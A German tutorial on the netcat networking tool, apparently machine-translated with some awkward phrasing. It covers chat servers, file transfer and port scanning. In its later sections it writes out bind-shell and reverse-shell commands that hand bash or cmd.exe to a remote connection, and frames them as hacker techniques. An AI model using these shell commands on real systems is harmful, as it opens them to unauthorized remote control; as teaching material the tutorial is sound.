Netcat

Netcat ist eine Terminalanwendung, die dem Telnet-Programm ähnelt, aber viel mehr Funktionen bietet.

Es ist eine „Power-Version“ des traditionellen Telnet-Programms.

Abgesehen von den grundlegenden Telnet-Funktionen kann es verschiedene andere Dinge tun, z. B. Socket-Server erstellen, um auf eingehende Verbindungen an Ports zu warten,Dateien vom Terminal zu übertragen usw.

So ist es ein kleines Werkzeug, das mit vielen Funktionen verpackt ist., Daher seine so genannte „Schweizer Taschenmesser für TCP/IP“.

Das netcat-Handbuch definiert netcat als

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

Daher ist netcat im Grunde ein Werkzeug, um eine bidirektionale Netzwerkkommunikation über die TCP/UDP-Protokolle durchzuführen.

Technisch gesehen kann netcat als Socket-Server oder-Client fungieren und gleichzeitig mit anderen Programmen interagieren, um Daten über das Netzwerk zu senden und zu empfangen.

Eine solche Definition klingt zu allgemein und macht es schwierig zu verstehen, was genau dieses Tool tut und wofür es nützlich ist., Dies kann nur verstanden werden, indem man es benutzt und damit spielt.

Ncat

Als erstes müssen Sie netcat auf Ihrem Computer einrichten. Netcat kommt in verschiedenen Geschmacksrichtungen. Bedeutet, dass es von mehreren Anbietern erhältlich ist.

Aber die meisten von ihnen haben ähnliche Funktionalität. Unter Ubuntu gibt es 3 Pakete namens netcat-openbsd, netcat-traditional und ncat.

Meine bevorzugte version ist ncat. Ncat wurde vom nmap-Team entwickelt und ist das Beste aller verfügbaren Netcats und vor allem plattformübergreifend und funktioniert sehr gut unter Windows.,

Projekt website:

Installieren Ncat auf Windows

Windows version von netcat können heruntergeladen werden von

Einfach herunterladen und extrahieren sie die dateien irgendwo geeignet.

Oder download ncat windows version

Installieren Ncat auf Ubuntu / Linux Mint / Linux

Ubuntu syntaktischen paket hat netcat-openbsd und netcat-traditionellen pakete verfügbar. Installieren Sie beide. Nmap wird auch mit einer Netcat-Implementierung namens ncat geliefert. Installieren Sie das auch.,

Install on Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

Um die netcat-openbsd-Implementierung zu verwenden, verwenden Sie den Befehl „nc“.
netcat verwenden-traditionelle Implementierung verwenden “ nc.traditioneller „Befehl
Um nmap ncat zu verwenden, verwenden Sie den Befehl „ncat“.

Beispiele für Netcat-Befehle

Im folgenden Tutorial werden wir sie alle auf unterschiedliche Weise in verschiedenen Beispielen verwenden.

Telnet

Das allererste, was netcat verwendet werden kann, ist ein Telnet-Programm. Mal sehen, wie.

$ nc -v google.com 80

Nun ist netcat mit google.com auf Port 80 und seine Zeit, um eine Nachricht zu senden., Versuchen wir, die Indexseite abzurufen. Für diesen Typ “ Index abrufen.html HTTP/1.1 “ und drücken Sie zweimal die Eingabetaste. Erinnere dich zweimal.

Die Ausgabe von google.com wurde empfangen und auf dem Terminal wiederholt.

Einfacher Socket-Server

Um einen einfachen Socket-Servertyp im folgenden Befehl zu öffnen.

$ nc -l -v 1234

Der obige Befehl bedeutet : Netcat TCP-port 1234. Die Option-v gibt ausführliche Ausgabe zum besseren Verständnis., Versuchen Sie nun von einem anderen Terminal aus, über den Telnet-Befehl eine Verbindung zu Port 1234 herzustellen:

Nach dem Verbinden senden wir eine Testnachricht wie abc und ting tong an den Netcat-Socket-Server. Der Netcat-Socket-Server gibt die vom Telnet-Client empfangenen Daten zurück.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

Dies ist eine komplette Chat-System. Geben Sie etwas in netcat Terminal ein und es wird auch im Telnet Terminal angezeigt. So kann diese Technik zum Chatten zwischen 2 Maschinen verwendet werden.,

Kompletter ECHO-Server

Ncat mit der Option-c kann zum Starten eines Echo-Servers verwendet werden. Quelle

Starten Sie den Echo-Server mit ncat wie folgt

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

Verbinden Sie sich jetzt von einem anderen Terminal aus mit telnet und geben Sie etwas ein. Es wird mit dem Präfix „“ zurückgesendet.
Die netcat-openbsd-Version hat nicht die Option-c. Denken Sie daran, immer die option-v für ausführliche Ausgabe.

Hinweis: Netcat kann angewiesen werden, die Daten in einer Datei zu speichern, anstatt sie an das Terminal zurückzugeben.,

$ nc -l -v 1234 > data.txt

UDP-Server erstellen

Netcat funktioniert auch mit UDP-Ports. Um einen Netcat-Server mit UDP-Ports zu starten, verwenden Sie die Option-u

$ nc -v -ul 7000

UDP-Client

Stellen Sie über netcat eine Verbindung zu diesem Server her

$ nc localhost -u 7000

Jetzt können beide Terminals miteinander chatten.

Dateiübertragung

Mit netcat kann eine ganze Datei übertragen werden. Hier ist ein kurzes Beispiel.

One machine A-Send File

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

Im obigen Befehl liest und gibt der cat-Befehl den Inhalt von happy aus.txt., Die Ausgabe wird nicht an das Terminal zurückgegeben, sondern an ncat weitergeleitet oder zugeführt, das einen Socket-Server an Port 5555 geöffnet hat.

Auf Maschine B – Receive-Datei

$ ncat localhost 5555 > happy_copy.txt

Im obigen Befehl ncat wird eine Verbindung zu localhost auf port 5555-und was es empfängt, wird geschrieben happy_copy.txt

Jetzt happy_copy.txt wird eine Kopie von happy sein.txt da die Daten, die über Port 5555 gesendet werden, der Inhalt von happy ist.txt im vorherigen Befehl.

Netcat sendet die Datei nur an den ersten Client, der eine Verbindung zu ihr herstellt. Danach ist es vorbei.,
Und nach dem ersten Client schließt die Verbindung, netcat Server wird auch die Verbindung schließen.

Port scannen

Netcat kann auch verwendet werden für port scannen. Dies ist jedoch keine ordnungsgemäße Verwendung von netcat und ein anwendbareres Tool wie nmap sollte verwendet werden.

Der Parameter “ – n „verhindert hier die DNS-Suche,“- z „bewirkt, dass nc keine Daten vom Server empfängt, und“ – w 1 “ führt nach 1 Sekunde Inaktivität zu einer Zeitüberschreitung der Verbindung.

Remote Shell / Backdoor

Ncat kann verwendet werden, um eine Basic Shell auf einem Remote System an einem Port ohne ssh zu starten., Hier ist ein kurzes Beispiel.

$ ncat -v -l -p 7777 -e /bin/bash

Das obige startet einen Server auf Port 7777 und übergibt alle eingehenden Eingaben an den bash-Befehl und die Ergebnisse werden zurückgesendet. Der Befehl konvertiert das Bash-Programm grundsätzlich in einen Server. So kann netcat verwendet werden, um jeden Prozess in einen Server zu konvertieren.

Verbinden Sie sich mit dieser Bash-Shell über nc von einem anderen Terminal aus

$ nc localhost 7777

Versuchen Sie nun , einen beliebigen Befehl wie help , ls, pwd usw. auszuführen.

Windows

Auf Windows-Rechner die cmd.,exe (dos Prompt program) wird verwendet, um eine ähnliche Shell mit netcat zu starten. Die syntax des Befehls ist dieselbe.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

Jetzt kann eine andere Konsole eine Verbindung mit dem Telnet-Befehl

Obwohl netcat zum Einrichten von Remote-Shells verwendet werden kann, ist es nicht sinnvoll, eine interaktive Shell auf einem Remote-System abzurufen, da netcat in den meisten Fällen nicht auf einem Remote-System installiert wird.

Die effektivste Methode zum Abrufen einer Shell auf einem Remote-Computer mit netcat besteht darin, Reverse-Shells zu erstellen.,

Reverse Shells

Dies ist die leistungsstärkste Funktion von netcat, für die sie von Hackern am häufigsten verwendet wird. Netcat wird in fast allen Reverse-Shell-Techniken verwendet, um die umgekehrte Verbindung des Shell-Programms von einem gehackten System abzufangen.

Reverse telnet

Nehmen wir zunächst ein Beispiel für eine einfache Reverse Telnet-Verbindung. In Ordinate Telnet-Verbindung stellt der Client eine Verbindung zum Server her, um einen Kommunikationskanal zu starten.

Your system runs (# telnet server port_number) =============> Server

Mit der obigen Technik können Sie nun eine Verbindung zu Port 80 des Servers herstellen, um eine Webseite abzurufen., Ein Hacker ist jedoch daran interessiert, eine Befehlsshell zu erhalten. Es ist die Eingabeaufforderung von Windows oder das Terminal von Linux. Die Befehlsshell gibt ultimative Kontrolle über das Remote-System. Jetzt wird auf dem Remote-Server kein Dienst ausgeführt, mit dem Sie eine Verbindung herstellen und eine Befehlsshell abrufen können.

Wenn sich ein Hacker in ein System hackt, muss er eine Befehlsshell erhalten. Da es nicht direkt möglich ist, besteht die Lösung darin, eine umgekehrte Shell zu verwenden. In einer umgekehrten Shell initiiert der Server eine Verbindung zum Computer des Hackers und gibt eine Befehlsshell aus.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

Um auf eingehende Verbindungen zu warten, muss ein lokaler Socket-Listener geöffnet werden. Netcat/ncat kann dies tun.
Zuerst muss ein netcat-Server auf dem lokalen Rechner oder dem Rechner des Hackers gestartet werden.

Maschine A

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

Das Obige startet einen Socket-Server (Listener) auf Port 8888 auf dem lokalen Computer/Hacker-Computer.

Jetzt muss eine Reverse Shell auf dem Zielcomputer/gehackten Computer gestartet werden. Es gibt eine Reihe von Möglichkeiten, Reverse Shells zu starten.,

Damit jede Methode funktioniert, muss der Hacker entweder in der Lage sein, beliebige Befehle auf dem System auszuführen, oder er sollte in der Lage sein, eine Datei hochzuladen, die durch Öffnen über den Browser ausgeführt werden kann (wie ein PHP-Skript).

In diesem Beispiel machen wir keine der oben genannten Dinge. Wir werden nur netcat auf dem Server ausführen, um auch eine Reverse Command Shell zu werfen, um das Konzept zu demonstrieren. Netcat sollte also auf dem Server oder Zielcomputer installiert sein.,

Maschine B:

$ ncat localhost 8888 -e /bin/bash

Dieser Befehl stellt eine Verbindung zu Maschine A auf Port 8888 her und speist die Ausgabe von bash ein, wodurch Maschine A effektiv eine Shell zugewiesen wird A. Jetzt kann Maschine A jeden Befehl auf Maschine B ausführen.

Maschine A

In einem echten Hacking – /Penetrationstest-Szenario ist es nicht möglich, netcat auf dem Zielcomputer auszuführen. Daher werden andere Techniken verwendet, um eine Shell zu erstellen. Dazu gehören das Hochladen von Reverse-Shell-PHP-Skripten und das Ausführen durch Öffnen im Browser. Oder starten Sie einen Pufferüberlauf-Exploit, um Reverse Shell Payload auszuführen.,

Fazit

In den obigen Beispielen haben wir gesehen, wie netcat für verschiedene Netzwerkaktivitäten wie Telnet, Reverse Shells usw. verwendet wird. Hacker verwenden es hauptsächlich zum Erstellen schneller Reverse-Shells.

In diesem Tutorial haben wir einige der grundlegenden und gebräuchlichen Verwendungen von netcat behandelt. Weitere Informationen darüber, was netcat sonst noch tun kann, finden Sie im Wikipedia-Artikel.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.